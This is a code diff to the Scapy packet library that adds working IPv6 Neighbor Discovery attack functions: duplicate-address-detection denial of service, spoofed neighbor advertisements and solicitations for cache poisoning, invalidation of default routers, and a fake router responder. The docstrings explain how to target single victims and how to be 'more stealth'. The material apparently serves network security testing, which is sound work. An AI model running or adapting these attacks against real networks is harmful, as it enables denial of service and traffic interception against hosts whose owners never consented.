diff --git a/scapy/layers/inet6.py b/scapy/layers/inet6.py index d2c546f46..84b1786dc 100644 --- a/scapy/layers/inet6.py +++ b/scapy/layers/inet6.py @@ -3008,6 +3008,629 @@ class _IPv6inIP(SuperSocket): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) +############################################################################# +############################################################################# +### Neighbor Discovery Protocol Attacks ### +############################################################################# +############################################################################# + +def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, + tgt_filter=None, reply_mac=None): + """ + Internal generic helper accepting a specific callback as first argument, + for NS or NA reply. See the two specific functions below. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + # Get and compare the MAC address + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must be the unspecified address + if req[IPv6].src != "::": + return 0 + + # Check destination is the link-local solicited-node multicast + # address associated with target address in received NS + tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + return 0 + + return 1 + + if not iface: + iface = conf.iface + + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, iface), + iface=iface) + + +def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages sent from the + unspecified address and sending a NS reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NS sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the unspecified address (::). + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + """ + + def ns_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS by sending a similar NS + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt) + sendp(rep, iface=iface, verbose=0) + + print "Reply NS for target address %s (received from %s)" % (tgt, mac) + + _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages *sent from the + unspecified address* and sending a NA reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address found in received NS. + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled + with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + """ + + def na_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS with a NA + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst) + rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + sendp(rep, iface=iface, verbose=0) + + print "Reply NA for target address %s (received from %s)" % (tgt, mac) + + _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None, router=False): + """ + The main purpose of this function is to send fake Neighbor Advertisement + messages to a victim. As the emission of unsolicited Neighbor Advertisement + is pretty pointless (from an attacker standpoint) because it will not + lead to a modification of a victim's neighbor cache, the function send + advertisements in response to received NS (NS sent as part of the DAD, + i.e. with an unspecified address as source, are not considered). + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address + - as IPv6 destination address: the source IPv6 address of received NS + message. + - the mac address of the interface as source (or reply_mac, see below). + - the source mac address of the received NS as destination macs address + of the emitted NA. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) + filled with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + + router: by the default (False) the 'R' flag in the NA used for the reply + is not set. If the parameter is set to True, the 'R' flag in the + NA is set, advertising us as a router. + + Please, keep the following in mind when using the function: for obvious + reasons (kernel space vs. Python speed), when the target of the address + resolution is on the link, the sender of the NS receives 2 NA messages + in a row, the valid one and our fake one. The second one will overwrite + the information provided by the first one, i.e. the natural latency of + Scapy helps here. + + In practice, on a common Ethernet link, the emission of the NA from the + genuine target (kernel stack) usually occurs in the same millisecond as + the receipt of the NS. The NA generated by Scapy6 will usually come after + something 20+ ms. On a usual testbed for instance, this difference is + sufficient to have the first data packet sent from the victim to the + destination before it even receives our fake NA. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must NOT be the unspecified address + if req[IPv6].src == "::": + return 0 + + tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + + dst = req[IPv6].dst + if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. + + # If this is a real address resolution NS, then the destination + # address of the packet is the link-local solicited node multicast + # address associated with the target of the NS. + # Otherwise, the NS is a NUD related one, i.e. the peer is + # unicasting the NS to check the target is still alive (L2 + # information is still in its cache and it is verified) + received_snma = socket.inet_pton(socket.AF_INET6, dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + print "solicited node multicast @ does not match target @!" + return 0 + + return 1 + + def reply_callback(req, reply_mac, router, iface): + """ + Callback that reply to a NS with a spoofed NA + """ + + # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and + # send it back. + mac = req[Ether].src + pkt = req[IPv6] + src = pkt.src + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src) + rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS + + # "If the solicitation IP Destination Address is not a multicast + # address, the Target Link-Layer Address option MAY be omitted" + # Given our purpose, we always include it. + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + + sendp(rep, iface=iface, verbose=0) + + print "Reply NA for target address %s (received from %s)" % (tgt, mac) + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + router = (router and 1) or 0 # Value of the R flags in NA + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, router, iface), + iface=iface) + + +def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", + dst=None, src_mac=None, dst_mac=None, loop=True, + inter=1, iface=None): + """ + The main purpose of this function is to send fake Neighbor Solicitations + messages to a victim, in order to either create a new entry in its neighbor + cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated + that a node SHOULD create the entry or update an existing one (if it is not + currently performing DAD for the target of the NS). The entry's reachability + state is set to STALE. + + The two main parameters of the function are the source link-layer address + (carried by the Source Link-Layer Address option in the NS) and the + source address of the packet. + + Unlike some other NDP_Attack_* function, this one is not based on a + stimulus/response model. When called, it sends the same NS packet in loop + every second (the default) + + Following arguments can be used to change the format of the packets: + + src_lladdr: the MAC address used in the Source Link-Layer Address option + included in the NS packet. This is the address that the peer should + associate in its neighbor cache with the IPv6 source address of the + packet. If None is provided, the mac address of the interface is + used. + + src: the IPv6 address used as source of the packet. If None is provided, + an address associated with the emitting interface will be used + (based on the destination address of the packet). + + target: the target address of the NS packet. If no value is provided, + a dummy address (2001:db8::1) is used. The value of the target + has a direct impact on the destination address of the packet if it + is not overridden. By default, the solicited-node multicast address + associated with the target is used as destination address of the + packet. Consider specifying a specific destination address if you + intend to use a target address different than the one of the victim. + + dst: The destination address of the NS. By default, the solicited node + multicast address associated with the target address (see previous + parameter) is used if no specific value is provided. The victim + is not expected to check the destination address of the packet, + so using a multicast address like ff02::1 should work if you want + the attack to target all hosts on the link. On the contrary, if + you want to be more stealth, you should provide the target address + for this parameter in order for the packet to be sent only to the + victim. + + src_mac: the MAC address used as source of the packet. By default, this + is the address of the interface. If you want to be more stealth, + feel free to use something else. Note that this address is not the + that the victim will use to populate its neighbor cache. + + dst_mac: The MAC address used as destination address of the packet. If + the IPv6 destination address is multicast (all-nodes, solicited + node, ...), it will be computed. If the destination address is + unicast, a neighbor solicitation will be performed to get the + associated address. If you want the attack to be stealth, you + can provide the MAC address using this parameter. + + loop: By default, this parameter is True, indicating that NS packets + will be sent in loop, separated by 'inter' seconds (see below). + When set to False, a single packet is sent. + + inter: When loop parameter is True (the default), this parameter provides + the interval in seconds used for sending NS packets. + + iface: to force the sending interface. + """ + + if not iface: + iface = conf.iface + + # Use provided MAC address as source link-layer address option + # or the MAC address of the interface if none is provided. + if not src_lladdr: + src_lladdr = get_if_hwaddr(iface) + + # Prepare packets parameters + ether_params = {} + if src_mac: + ether_params["src"] = src_mac + + if dst_mac: + ether_params["dst"] = dst_mac + + ipv6_params = {} + if src: + ipv6_params["src"] = src + if dst: + ipv6_params["dst"] = dst + else: + # Compute the solicited-node multicast address + # associated with the target address. + tmp = inet_ntop(socket.AF_INET6, + in6_getnsma(inet_pton(socket.AF_INET6, target))) + ipv6_params["dst"] = tmp + + pkt = Ether(**ether_params) + pkt /= IPv6(**ipv6_params) + pkt /= ICMPv6ND_NS(tgt=target) + pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) + + sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) + + +def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, + ip_src_filter=None, reply_mac=None, + tgt_mac=None): + """ + The purpose of the function is to monitor incoming RA messages + sent by default routers (RA with a non-zero Router Lifetime values) + and invalidate them by immediately replying with fake RA messages + advertising a zero Router Lifetime value. + + The result on receivers is that the router is immediately invalidated, + i.e. the associated entry is discarded from the default router list + and destination cache is updated to reflect the change. + + By default, the function considers all RA messages with a non-zero + Router Lifetime value but provides configuration knobs to allow + filtering RA sent by specific routers (Ethernet source address). + With regard to emission, the multicast all-nodes address is used + by default but a specific target can be used, in order for the DoS to + apply only to a specific host. + + More precisely, following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RA messages received from this source will trigger replies. + If other default routers advertised their presence on the link, + their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific mac address. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RA messages received from this source address will trigger + replies. If other default routers advertised their presence on the + link, their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific IPv6 source + address. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + + tgt_mac: allow limiting the effect of the DoS to a specific host, + by sending the "invalidating RA" only to its mac address. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + # Check if this is an advertisement for a Default Router + # by looking at Router Lifetime value + if req[ICMPv6ND_RA].routerlifetime == 0: + return 0 + + return 1 + + def ra_reply_callback(req, reply_mac, tgt_mac, iface): + """ + Callback that sends an RA with a 0 lifetime + """ + + # Let's build a reply and send it + + src = req[IPv6].src + + # Prepare packets parameters + ether_params = {} + if reply_mac: + ether_params["src"] = reply_mac + + if tgt_mac: + ether_params["dst"] = tgt_mac + + # Basis of fake RA (high pref, zero lifetime) + rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1") + rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) + + # Add it a PIO from the request ... + tmp = req + while ICMPv6NDOptPrefixInfo in tmp: + pio = tmp[ICMPv6NDOptPrefixInfo] + tmp = pio.payload + del(pio.payload) + rep /= pio + + # ... and source link layer address option + if ICMPv6NDOptSrcLLAddr in req: + mac = req[ICMPv6NDOptSrcLLAddr].lladdr + else: + mac = req[Ether].src + rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) + + sendp(rep, iface=iface, verbose=0) + + print "Fake RA sent with source address %s" % src + + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), + iface=iface) + + +def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, + ip_src_filter=None): + """ + The purpose of this function is to send provided RA message at layer 2 + (i.e. providing a packet starting with IPv6 will not work) in response + to received RS messages. In the end, the function is a simple wrapper + around sendp() that monitor the link for RS messages. + + It is probably better explained with an example: + + >>> ra = Ether()/IPv6()/ICMPv6ND_RA() + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) + >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") + >>> NDP_Attack_Fake_Router(ra, iface="eth0") + Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 + Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae + ... + + Following arguments can be used to change the behavior: + + ra: the RA message to send in response to received RS message. + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If none is provided, conf.iface is + used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RS messages received from this source will trigger a reply. + Note that no changes to provided RA is done which imply that if + you intend to target only the source of the RS using this option, + you will have to set the Ethernet destination address to the same + value in your RA. + The default value for this parameter is None: no filtering on the + source of RS is done. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RS messages received from this source address will trigger + replies. Same comment as for previous argument apply: if you use + the option, you will probably want to set a specific Ethernet + destination address in the RA. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + return 1 + + def ra_reply_callback(req, iface): + """ + Callback that sends an RA in reply to an RS + """ + + src = req[IPv6].src + sendp(ra, iface=iface, verbose=0) + print "Fake RA sent in response to RS from %s" % src + + if not iface: + iface = conf.iface + sniff_filter = "icmp6" + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, iface), + iface=iface) + + ############################################################################# ############################################################################# ### Layers binding ### diff --git a/scapy/utils6.py b/scapy/utils6.py index 7ba8ca103..647efa8a3 100644 --- a/scapy/utils6.py +++ b/scapy/utils6.py @@ -648,6 +648,16 @@ def in6_isincluded(addr, prefix, plen): zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) +def in6_isllsnmaddr(str): + """ + Return True if provided address is a link-local solicited node + multicast address, i.e. belongs to ff02::1:ff00:0/104. False is + returned otherwise. + """ + temp = in6_and("\xff"*13+"\x00"*3, inet_pton(socket.AF_INET6, str)) + temp2 = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' + return temp == temp2 + def in6_isdocaddr(str): """ Returns True if provided address in printable format belongs to